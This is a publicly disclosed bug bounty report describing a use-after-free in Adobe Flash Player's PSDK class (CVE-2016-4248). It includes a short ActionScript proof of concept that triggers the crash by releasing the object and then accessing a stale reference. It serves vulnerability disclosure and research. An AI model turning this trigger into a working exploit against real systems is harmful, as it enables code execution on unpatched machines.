HexBrain

Internet Bug Bounty · Report #151043

Adobe Flash Player PSDK Class Use After Free Vulnerability

Validstatus
$5,000bounty
4upvotes
12 Nov 2019disclosed

How it was found

I. Summary Adobe Flash Player is prone to a vulnerability which leads to Use After Free. Since the release condition is highly controllable, it is feasible to build a fully working exploit for shellcode execution with proper AS3 object occupied the original PSDK memory.

II. Description PSDK Class expose a member function "release()", which can be called directly to release the inner memory of PSDK.pSDK. However, Not all of PSDK's AS3 references are cleaned, it is still possible to invoke virtual functions on a release memory block.

Source Code of crash.swf: package { import com.adobe.tvsdk.mediacore.PSDK;
import flash.display.Sprite;

        public class poc extends Sprite
        {
                    public function poc()
                    {
                                var ps:PSDK = PSDK.pSDK;
                                var ps_:PSDK = PSDK.pSDK;
                                ps.release();
                                ps_.currentTime;
                    }
        }

}

III. Impact Use After Free

IV. Affected Adobe Flash Player 22.0.0.192

V. Credit Wen Guanxing from Pangu LAB is credited for this vulnerability.

It has been assigned as CVE-2016-4248 by Adobe: https://helpx.adobe.com/security/products/flash-player/apsb16-25.html

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original